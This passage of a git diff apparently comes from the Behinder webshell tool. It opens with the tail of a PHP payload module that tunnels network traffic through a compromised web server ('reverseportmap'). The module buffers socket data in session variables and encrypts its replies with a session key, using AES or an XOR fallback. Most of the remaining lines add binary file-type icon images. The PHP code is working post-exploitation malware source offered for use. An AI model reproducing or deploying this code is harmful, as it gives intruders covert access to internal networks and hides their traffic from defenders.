+ $data .= pack("n", $port);
+ return $data;
+}
+function encrypt($data,$key)
+{
+ if(!extension_loaded('openssl'))
+ {
+ for($i=0;$i 0) {
+ foreach ($read as $socket_item) {
+ socket_getpeername($socket_item, $address, $port);
+ $serverInnersocketReadHash = "reverseportmap_socket_" . $listenPort . "_" . $address . "_" . $port . "_read";
+ $readContent = "";
+ $content = socket_read($socket_item, 2048);
+ while(strlen($content)>0)
+ {
+ $readContent=$readContent.$content;
+ $content = socket_read($socket_item, 2048);
+ }
+ @session_start();
+ $_SESSION[$serverInnersocketReadHash]=$_SESSION[$serverInnersocketReadHash].$readContent;
+ session_write_close();
+ }
+ foreach ($write as $socket_item) {
+ socket_getpeername($socket_item, $address, $port);
+ $serverInnersocketWriteHash = "reverseportmap_socket_" . $listenPort . "_" . $address . "_" . $port . "_write";
+ @session_start();
+ $writeContent=$_SESSION[$serverInnersocketWriteHash];
+ if (strlen($writeContent)>0)
+ {
+ $count=socket_write($socket_item, $writeContent, strlen($writeContent));
+ }
+ $_SESSION[$serverInnersocketWriteHash]="";
+ session_write_close();
+
+
+ }
+ }
+ }
+ break;
+ case "list":
+ $socketList = array();
+ foreach ($_SESSION as $key => $val) {
+ if (strstr($key, "reverseportmap")) {
+ if ($_SESSION[$key]!="socket")
+ {
+ continue;
+ }
+ $socketObj = array(
+ "socketHash" => $key
+ );
+ array_push($socketList, $socketObj);
+ }
+ }
+ $result["status"] = base64_encode("success");
+ $result["msg"] = base64_encode(json_encode($socketList));
+ echo encrypt(json_encode($result), $_SESSION['k']);
+ return;
+ case "read":
+ $socketReadHash=$socketHash."_read";
+ if (isset($_SESSION[$socketReadHash])) {
+ $readContent=$_SESSION[$socketReadHash];
+ @session_start();
+ $_SESSION[$socketReadHash]="";
+ session_write_close();
+ echo $readContent;
+ return;
+ } else {
+ //echo "\x37\x21\x49\x36RemoteSocket read failed";
+ return;
+ }
+ case "write":
+ $socketWriteHash=$socketHash."_write";
+ $rawPostData = base64_decode($extraData);
+ if ($rawPostData) {
+ @session_start();
+ $_SESSION[$socketWriteHash]=$_SESSION[$socketWriteHash].$rawPostData;
+ session_write_close();
+ header("Connection: Keep-Alive");
+ } else {
+ echo "\x37\x21\x49\x36RemoteSocket write failed";
+ }
+ return;
+ case "stop":
+ $socketHashList = [];
+ foreach ($_SESSION as $key => $val) {
+ if (strstr($key, "reverseportmap_socket_" . $listenPort)) {
+ $socketHashList[] = $key;
+ }
+ }
+ foreach ($socketHashList as $key) {
+ unset($_SESSION[$key]);
+ }
+ $serverSocketHash = "reverseportmap_server_" . $listenPort;
+ unset($_SESSION[$serverSocketHash]);
+ @session_start();
+ $_SESSION["running".$listenPort] = false;
+ session_write_close();
+ $result["status"] = base64_encode("success");
+ $result["msg"] = base64_encode("服务侧Socket资源已释放。");
+ echo encrypt(json_encode($result), $_SESSION['k']);
+ return;
+ case "close":
+ socket_close($_SESSION[$socketHash]);
+ unset($_SESSION[$socketHash]);
+ $result["status"] = base64_encode("success");
+ $result["msg"] = base64_encode("服务侧Socket资源已释放。");
+ echo encrypt(json_encode($result), $_SESSION['k']);
+ return;
+ default: {
+ }
+ }
+}
+function encrypt($data, $key)
+{
+ if (!extension_loaded('openssl')) {
+ for ($i = 0; $i < strlen($data); $i++) {
+ $data[$i] = $data[$i] ^ $key[$i + 1 & 15];
+ }
+ return $data;
+ } else {
+ return openssl_encrypt($data, "AES128", $key);
+ }
+}
diff --git a/src/main/java/net/rebeyond/behinder/resource/alive.png b/src/main/java/net/rebeyond/behinder/resource/alive.png
new file mode 100644
index 0000000..5742b04
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/alive.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/dead.png b/src/main/java/net/rebeyond/behinder/resource/dead.png
new file mode 100644
index 0000000..eef8558
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/dead.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/.png b/src/main/java/net/rebeyond/behinder/resource/filetype/.png
new file mode 100644
index 0000000..fc0bdf5
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/15ee1c08_ed51_465d_b6f3_fb152b1cc435.png b/src/main/java/net/rebeyond/behinder/resource/filetype/15ee1c08_ed51_465d_b6f3_fb152b1cc435.png
new file mode 100644
index 0000000..3398deb
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/15ee1c08_ed51_465d_b6f3_fb152b1cc435.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/256.png b/src/main/java/net/rebeyond/behinder/resource/filetype/256.png
new file mode 100644
index 0000000..0552944
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/256.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/3gp.png b/src/main/java/net/rebeyond/behinder/resource/filetype/3gp.png
new file mode 100644
index 0000000..773aaef
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/3gp.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/7z.png b/src/main/java/net/rebeyond/behinder/resource/filetype/7z.png
new file mode 100644
index 0000000..df97850
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/7z.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/8ba.png b/src/main/java/net/rebeyond/behinder/resource/filetype/8ba.png
new file mode 100644
index 0000000..4836bb0
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/8ba.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/8be.png b/src/main/java/net/rebeyond/behinder/resource/filetype/8be.png
new file mode 100644
index 0000000..4836bb0
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/8be.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/8bf.png b/src/main/java/net/rebeyond/behinder/resource/filetype/8bf.png
new file mode 100644
index 0000000..4836bb0
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/8bf.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/8bi.png b/src/main/java/net/rebeyond/behinder/resource/filetype/8bi.png
new file mode 100644
index 0000000..4836bb0
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/8bi.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/8bx.png b/src/main/java/net/rebeyond/behinder/resource/filetype/8bx.png
new file mode 100644
index 0000000..4836bb0
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/8bx.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/8li.png b/src/main/java/net/rebeyond/behinder/resource/filetype/8li.png
new file mode 100644
index 0000000..4836bb0
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/8li.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/abr.png b/src/main/java/net/rebeyond/behinder/resource/filetype/abr.png
new file mode 100644
index 0000000..9fcc7db
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/abr.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/acb.png b/src/main/java/net/rebeyond/behinder/resource/filetype/acb.png
new file mode 100644
index 0000000..485424a
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/acb.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/accountpicture-ms.png b/src/main/java/net/rebeyond/behinder/resource/filetype/accountpicture-ms.png
new file mode 100644
index 0000000..1412600
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/accountpicture-ms.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/acf.png b/src/main/java/net/rebeyond/behinder/resource/filetype/acf.png
new file mode 100644
index 0000000..31cf1b5
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/acf.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/acl.png b/src/main/java/net/rebeyond/behinder/resource/filetype/acl.png
new file mode 100644
index 0000000..23f4ec7
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/acl.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/aco.png b/src/main/java/net/rebeyond/behinder/resource/filetype/aco.png
new file mode 100644
index 0000000..5593c2b
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/aco.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/act.png b/src/main/java/net/rebeyond/behinder/resource/filetype/act.png
new file mode 100644
index 0000000..8558c55
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/act.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/activitydiagram.png b/src/main/java/net/rebeyond/behinder/resource/filetype/activitydiagram.png
new file mode 100644
index 0000000..70109e8
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/activitydiagram.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/acv.png b/src/main/java/net/rebeyond/behinder/resource/filetype/acv.png
new file mode 100644
index 0000000..b8ae35b
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/acv.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/addin.png b/src/main/java/net/rebeyond/behinder/resource/filetype/addin.png
new file mode 100644
index 0000000..a4b8a62
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/addin.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/ado.png b/src/main/java/net/rebeyond/behinder/resource/filetype/ado.png
new file mode 100644
index 0000000..3bcf8a6
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/ado.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/ahu.png b/src/main/java/net/rebeyond/behinder/resource/filetype/ahu.png
new file mode 100644
index 0000000..3091fbb
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/ahu.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/ai.png b/src/main/java/net/rebeyond/behinder/resource/filetype/ai.png
new file mode 100644
index 0000000..ba5a913
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/ai.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/aif.png b/src/main/java/net/rebeyond/behinder/resource/filetype/aif.png
new file mode 100644
index 0000000..b7449ce
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/aif.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/aiff.png b/src/main/java/net/rebeyond/behinder/resource/filetype/aiff.png
new file mode 100644
index 0000000..b7449ce
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/aiff.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/alv.png b/src/main/java/net/rebeyond/behinder/resource/filetype/alv.png
new file mode 100644
index 0000000..b1dfe20
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/alv.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/am.png b/src/main/java/net/rebeyond/behinder/resource/filetype/am.png
new file mode 100644
index 0000000..fc0bdf5
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/am.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/amr.png b/src/main/java/net/rebeyond/behinder/resource/filetype/amr.png
new file mode 100644
index 0000000..0609cf7
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/amr.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/ani.png b/src/main/java/net/rebeyond/behinder/resource/filetype/ani.png
new file mode 100644
index 0000000..9f687bc
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/ani.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/ant.png b/src/main/java/net/rebeyond/behinder/resource/filetype/ant.png
new file mode 100644
index 0000000..718dc88
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/ant.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/aodl.png b/src/main/java/net/rebeyond/behinder/resource/filetype/aodl.png
new file mode 100644
index 0000000..b582167
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/aodl.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/api.png b/src/main/java/net/rebeyond/behinder/resource/filetype/api.png
new file mode 100644
index 0000000..9fd5b38
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/api.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/api__non_opt.png b/src/main/java/net/rebeyond/behinder/resource/filetype/api__non_opt.png
new file mode 100644
index 0000000..54c94a0
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/api__non_opt.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/apl.png b/src/main/java/net/rebeyond/behinder/resource/filetype/apl.png
new file mode 100644
index 0000000..ee23fff
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/apl.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/appx.png b/src/main/java/net/rebeyond/behinder/resource/filetype/appx.png
new file mode 100644
index 0000000..e673573
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/appx.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/appxmanifest.png b/src/main/java/net/rebeyond/behinder/resource/filetype/appxmanifest.png
new file mode 100644
index 0000000..a7564e9
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/appxmanifest.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/asax.png b/src/main/java/net/rebeyond/behinder/resource/filetype/asax.png
new file mode 100644
index 0000000..b465331
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/asax.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/ascs.png b/src/main/java/net/rebeyond/behinder/resource/filetype/ascs.png
new file mode 100644
index 0000000..0239e13
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/ascs.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/ascx.png b/src/main/java/net/rebeyond/behinder/resource/filetype/ascx.png
new file mode 100644
index 0000000..5f2abe2
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/ascx.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/ashx.png b/src/main/java/net/rebeyond/behinder/resource/filetype/ashx.png
new file mode 100644
index 0000000..cf92248
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/ashx.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/asi.png b/src/main/java/net/rebeyond/behinder/resource/filetype/asi.png
new file mode 100644
index 0000000..45c2c2f
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/asi.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/asl.png b/src/main/java/net/rebeyond/behinder/resource/filetype/asl.png
new file mode 100644
index 0000000..d940142
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/asl.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/asm.png b/src/main/java/net/rebeyond/behinder/resource/filetype/asm.png
new file mode 100644
index 0000000..9efb453
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/asm.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/asmx.png b/src/main/java/net/rebeyond/behinder/resource/filetype/asmx.png
new file mode 100644
index 0000000..a337b7c
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/asmx.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/aspx.png b/src/main/java/net/rebeyond/behinder/resource/filetype/aspx.png
new file mode 100644
index 0000000..e4b6d2a
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/aspx.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/asr.png b/src/main/java/net/rebeyond/behinder/resource/filetype/asr.png
new file mode 100644
index 0000000..8e629be
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/asr.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/atn.png b/src/main/java/net/rebeyond/behinder/resource/filetype/atn.png
new file mode 100644
index 0000000..7b226ab
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/atn.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/au.png b/src/main/java/net/rebeyond/behinder/resource/filetype/au.png
new file mode 100644
index 0000000..3ad8ed4
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/au.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/avi.png b/src/main/java/net/rebeyond/behinder/resource/filetype/avi.png
new file mode 100644
index 0000000..773aaef
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/avi.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/bat.png b/src/main/java/net/rebeyond/behinder/resource/filetype/bat.png
new file mode 100644
index 0000000..64ca206
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/bat.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/bdca7721_f290_4124_bbed_7a15fe7694eb.png b/src/main/java/net/rebeyond/behinder/resource/filetype/bdca7721_f290_4124_bbed_7a15fe7694eb.png
new file mode 100644
index 0000000..d5ba8cc
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/bdca7721_f290_4124_bbed_7a15fe7694eb.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/blw.png b/src/main/java/net/rebeyond/behinder/resource/filetype/blw.png
new file mode 100644
index 0000000..6b6c9fb
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/blw.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/bmp.png b/src/main/java/net/rebeyond/behinder/resource/filetype/bmp.png
new file mode 100644
index 0000000..8b01cd6
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/bmp.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/bz2.png b/src/main/java/net/rebeyond/behinder/resource/filetype/bz2.png
new file mode 100644
index 0000000..df97850
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/bz2.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/c.png b/src/main/java/net/rebeyond/behinder/resource/filetype/c.png
new file mode 100644
index 0000000..76c648d
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/c.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/cab.png b/src/main/java/net/rebeyond/behinder/resource/filetype/cab.png
new file mode 100644
index 0000000..df97850
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/cab.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/camp.png b/src/main/java/net/rebeyond/behinder/resource/filetype/camp.png
new file mode 100644
index 0000000..30e94f4
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/camp.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/cat.png b/src/main/java/net/rebeyond/behinder/resource/filetype/cat.png
new file mode 100644
index 0000000..f0473c2
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/cat.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/cc.png b/src/main/java/net/rebeyond/behinder/resource/filetype/cc.png
new file mode 100644
index 0000000..43c7d98
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/cc.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/cd.png b/src/main/java/net/rebeyond/behinder/resource/filetype/cd.png
new file mode 100644
index 0000000..eef9398
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/cd.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/cdmp.png b/src/main/java/net/rebeyond/behinder/resource/filetype/cdmp.png
new file mode 100644
index 0000000..efd077b
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/cdmp.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/cdxml.png b/src/main/java/net/rebeyond/behinder/resource/filetype/cdxml.png
new file mode 100644
index 0000000..87ea051
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/cdxml.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/cer.png b/src/main/java/net/rebeyond/behinder/resource/filetype/cer.png
new file mode 100644
index 0000000..8f61d3c
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/cer.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/cha.png b/src/main/java/net/rebeyond/behinder/resource/filetype/cha.png
new file mode 100644
index 0000000..5dfefef
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/cha.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/chk.png b/src/main/java/net/rebeyond/behinder/resource/filetype/chk.png
new file mode 100644
index 0000000..cf349cb
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/chk.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/chm.png b/src/main/java/net/rebeyond/behinder/resource/filetype/chm.png
new file mode 100644
index 0000000..d51521a
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/chm.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/classdiagram.png b/src/main/java/net/rebeyond/behinder/resource/filetype/classdiagram.png
new file mode 100644
index 0000000..5bbb4c2
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/classdiagram.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/cmd.png b/src/main/java/net/rebeyond/behinder/resource/filetype/cmd.png
new file mode 100644
index 0000000..64ca206
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/cmd.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/coffee.png b/src/main/java/net/rebeyond/behinder/resource/filetype/coffee.png
new file mode 100644
index 0000000..0cdba5b
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/coffee.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/com.png b/src/main/java/net/rebeyond/behinder/resource/filetype/com.png
new file mode 100644
index 0000000..b797657
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/com.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/componentdiagram.png b/src/main/java/net/rebeyond/behinder/resource/filetype/componentdiagram.png
new file mode 100644
index 0000000..f1e6665
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/componentdiagram.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/compositefont.png b/src/main/java/net/rebeyond/behinder/resource/filetype/compositefont.png
new file mode 100644
index 0000000..a5befca
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/compositefont.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/config.png b/src/main/java/net/rebeyond/behinder/resource/filetype/config.png
new file mode 100644
index 0000000..92b98d9
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/config.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/cpl.png b/src/main/java/net/rebeyond/behinder/resource/filetype/cpl.png
new file mode 100644
index 0000000..cdeb108
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/cpl.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/cpp.png b/src/main/java/net/rebeyond/behinder/resource/filetype/cpp.png
new file mode 100644
index 0000000..43c7d98
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/cpp.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/crl.png b/src/main/java/net/rebeyond/behinder/resource/filetype/crl.png
new file mode 100644
index 0000000..d2d63d0
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/crl.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/crt.png b/src/main/java/net/rebeyond/behinder/resource/filetype/crt.png
new file mode 100644
index 0000000..8f61d3c
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/crt.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/cs.png b/src/main/java/net/rebeyond/behinder/resource/filetype/cs.png
new file mode 100644
index 0000000..df7214b
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/cs.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/csh.png b/src/main/java/net/rebeyond/behinder/resource/filetype/csh.png
new file mode 100644
index 0000000..a2572ca
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/csh.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/cshtml.png b/src/main/java/net/rebeyond/behinder/resource/filetype/cshtml.png
new file mode 100644
index 0000000..64ef32a
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/cshtml.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/csm.png b/src/main/java/net/rebeyond/behinder/resource/filetype/csm.png
new file mode 100644
index 0000000..3f68fc4
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/csm.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/csproj.png b/src/main/java/net/rebeyond/behinder/resource/filetype/csproj.png
new file mode 100644
index 0000000..278cb62
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/csproj.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/css.png b/src/main/java/net/rebeyond/behinder/resource/filetype/css.png
new file mode 100644
index 0000000..c1b61ba
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/css.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/csv.png b/src/main/java/net/rebeyond/behinder/resource/filetype/csv.png
new file mode 100644
index 0000000..4ed0814
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/csv.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/cuix.png b/src/main/java/net/rebeyond/behinder/resource/filetype/cuix.png
new file mode 100644
index 0000000..b7697eb
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/cuix.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/cur.png b/src/main/java/net/rebeyond/behinder/resource/filetype/cur.png
new file mode 100644
index 0000000..32eb189
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/cur.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/cxx.png b/src/main/java/net/rebeyond/behinder/resource/filetype/cxx.png
new file mode 100644
index 0000000..43c7d98
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/cxx.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/dacpac.png b/src/main/java/net/rebeyond/behinder/resource/filetype/dacpac.png
new file mode 100644
index 0000000..a059747
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/dacpac.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/datasource.png b/src/main/java/net/rebeyond/behinder/resource/filetype/datasource.png
new file mode 100644
index 0000000..236b8c6
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/datasource.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/db.png b/src/main/java/net/rebeyond/behinder/resource/filetype/db.png
new file mode 100644
index 0000000..cf349cb
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/db.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/dbml.png b/src/main/java/net/rebeyond/behinder/resource/filetype/dbml.png
new file mode 100644
index 0000000..dc43d61
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/dbml.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/dcp.png b/src/main/java/net/rebeyond/behinder/resource/filetype/dcp.png
new file mode 100644
index 0000000..2de90e2
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/dcp.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/dcr.png b/src/main/java/net/rebeyond/behinder/resource/filetype/dcr.png
new file mode 100644
index 0000000..6590da3
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/dcr.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/dds.png b/src/main/java/net/rebeyond/behinder/resource/filetype/dds.png
new file mode 100644
index 0000000..0f35187
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/dds.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/def.png b/src/main/java/net/rebeyond/behinder/resource/filetype/def.png
new file mode 100644
index 0000000..e9b5d8e
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/def.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/default.png b/src/main/java/net/rebeyond/behinder/resource/filetype/default.png
new file mode 100644
index 0000000..3083c48
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/default.png differ
